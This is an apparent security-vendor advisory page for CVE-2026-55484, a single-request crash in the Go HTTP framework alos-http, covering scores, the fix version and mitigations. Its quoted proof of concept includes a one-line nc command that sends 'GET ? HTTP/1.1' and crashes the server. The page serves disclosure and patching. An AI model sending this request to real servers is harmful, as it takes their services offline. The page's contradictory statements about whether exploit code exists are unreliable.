How severe is CVE-2026-55484?

CVE-2026-55484 has a CVSS score of 7.5/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by CVE-2026-55484?

CVE-2026-55484 affects the following packages: github.com/guno1928/alos-http (Go). Ecosystems affected: Go.

How do I fix CVE-2026-55484?

Update github.com/guno1928/alos-http to 0.0.0-20260617230736-314b6783e196 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55484 is resolved across your whole dependency graph.

How do I detect CVE-2026-55484 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/guno1928/alos-http, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-55484 if there is no patch (or I can't update yet)?

Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Is CVE-2026-55484 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-55484 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-55484?

CVE-2026-55484 has an EPSS (Exploit Prediction Scoring System) score of 0.5%, placing it in the 40th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-55484?

CVE-2026-55484 is classified as CWE-248 (CWE-248), CWE-754 (CWE-754). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2026-55484 published, and has it been updated?

CVE-2026-55484 was published on August 28, 2026 and was last updated on September 29, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹

🐹 Go

Not in CISA KEV

HIGH severity

CVE-2026-55484 — alos-http

HIGHFix: guno1928/alos-http@314b678

CVE-2026-55484 is a high-severity (CVSS 7.5) CWE-248 vulnerability in github.com/guno1928/alos-http. A fix is available for github.com/guno1928/alos-http — see the affected versions and patch details below.

ALOS HTTP: Unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server

Also known asGHSA-hr6j-w4mw-g9mjGO-2026-6321

Published

Aug 28, 2026

Updated

Sep 29, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Oct 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-55484.

EPSS Exploitation Probability

via FIRST.org ↗

0.5%probability of exploitation in next 30 days

Lower Risk+0.14%

Lower risk than most CVEs40th percentile — riskier than 40% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-55484 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 384,189 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

🐹github.com/guno1928/alos-http

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A single unauthenticated HTTP request to a path starting with ? (e.g. GET ? HTTP/1.1) crashes the entire server process. The request line parser passes the path to sanitizeRequestPath which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so core.Recovery() does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if ListenAndServeQUIC is enabled

Details

root cause: core/utils.go::sanitizeRequestPath

// assume path := "?"
if len(path) == 0 { // len(path) == 1
	return "/"
}

p, _ := splitPathQuery(path) // p == ""

if p[0] == '/' /*...*/ { // p[0] on empty string => panic: index out of range
	return p
}

when the path starts with "?" len(path) is not 0 so the early return does not fire
after splitPathQuery p is empty ""
p is then indexed p[0] without a length check

Relevant calling sites:

h1_plain.go:ParseH1RequestHead (HTTP/1.1)
h1.go::ParseH1Request (dead code)
hpack.go::decodeSimpleGetPathHTTPSRequest (HTTP/2)
hpack.go::observeHeader (HTTP/2)
h3_conn.go::handleRequestStream (HTTP/3)

these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic

PoC

Minimal server, using the quick-start

srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true})
srv.Router.Use(core.Recovery()) // is unable to catch a parser panic
srv.Router.GET("/", func(req *core.Request, resp *core.Response) { resp.Status(200).String("not crashed (yet)") })
log.Fatal(srv.ListenAndServe())

Crash it with a single request

printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080

Server output & crash

2026/06/11 20:52:52 listening on http://localhost:8080
2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false
2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576)
2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) ===
2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s))
2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600
panic: runtime error: index out of range [0] with length 0

goroutine 34 [running]:
github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1})
        /home/baloo/alos-http/core/utils.go:566 +0x64a
github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098)
        /home/baloo/alos-http/core/h1_plain.go:474 +0x48c
github.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db
github.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365
github.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25
github.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185
github.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a
github.com/guno1928/alos-http/core.(*plainUringBackend).start.func1()
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69
created by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a
exit status 2

all subsequent requests now fail, since the server is down

Impact

Unauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request. Repeating this process keeps the service offline. There is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/guno1928/alos-http`	all versions	0.0.0-20260617230736-314b6783e196`go get github.com/guno1928/alos-http@v0.0.0-20260617230736-314b6783e196`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/guno1928/alos-http, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/guno1928/alos-http to 0.0.0-20260617230736-314b6783e196 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55484 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Frequently Asked Questions

### Summary A single unauthenticated HTTP request to a path starting with `?` (e.g. `GET ? HTTP/1.1`) crashes the entire server process. The request line parser passes the path to `sanitizeRequestPath` which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so `core.Recovery()` does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if `ListenAndServeQUIC` is enable

O3 Security · Impact-Aware SCA

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CVSS Score

7.5/10CVSS v3 base

Vector breakdown

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

None

Integrity

None

Availability

High

Raw vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE Classification

CWE-248CWE-248 CWE-754CWE-754

Weaponization

No known public exploit tooling found.

Timeline

Disclosed

Aug 28, 2026

Last updated

Sep 29, 2026

Identifiers

CVE-2026-55484

GHSA-hr6j-w4mw-g9mj

GO-2026-6321

References

Advisorygithub.com Advisorygithub.com Advisorynvd.nist.gov Fixgithub.com Packagegithub.com

Related vulnerabilities

This CVE is high severity; 4 of 8 other CVEs with CWE-248 are rated as high or higher (top: high).

CVE-2026-82410CVE-2026-59162CVE-2026-88015CVE-2026-54529CVE-2026-84445CVE-2026-77078CVE-2026-82417CVE-2026-73088Browse all CWE-248

Provenance

Sources

OSV.devNVDFIRST.org (EPSS)

Last verifiedSep 29, 2026

CVE-2026-55484 — alos-http

Exploitation Status

Proof-of-concept exploit code exists

EPSS Exploitation Probability

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

Description

Summary

Details

PoC

Impact

Affected Packages

Detection & mitigation playbook

Detect

Fix

Workarounds

Frequently Asked Questions

Is CVE-2026-55484 in your dependencies?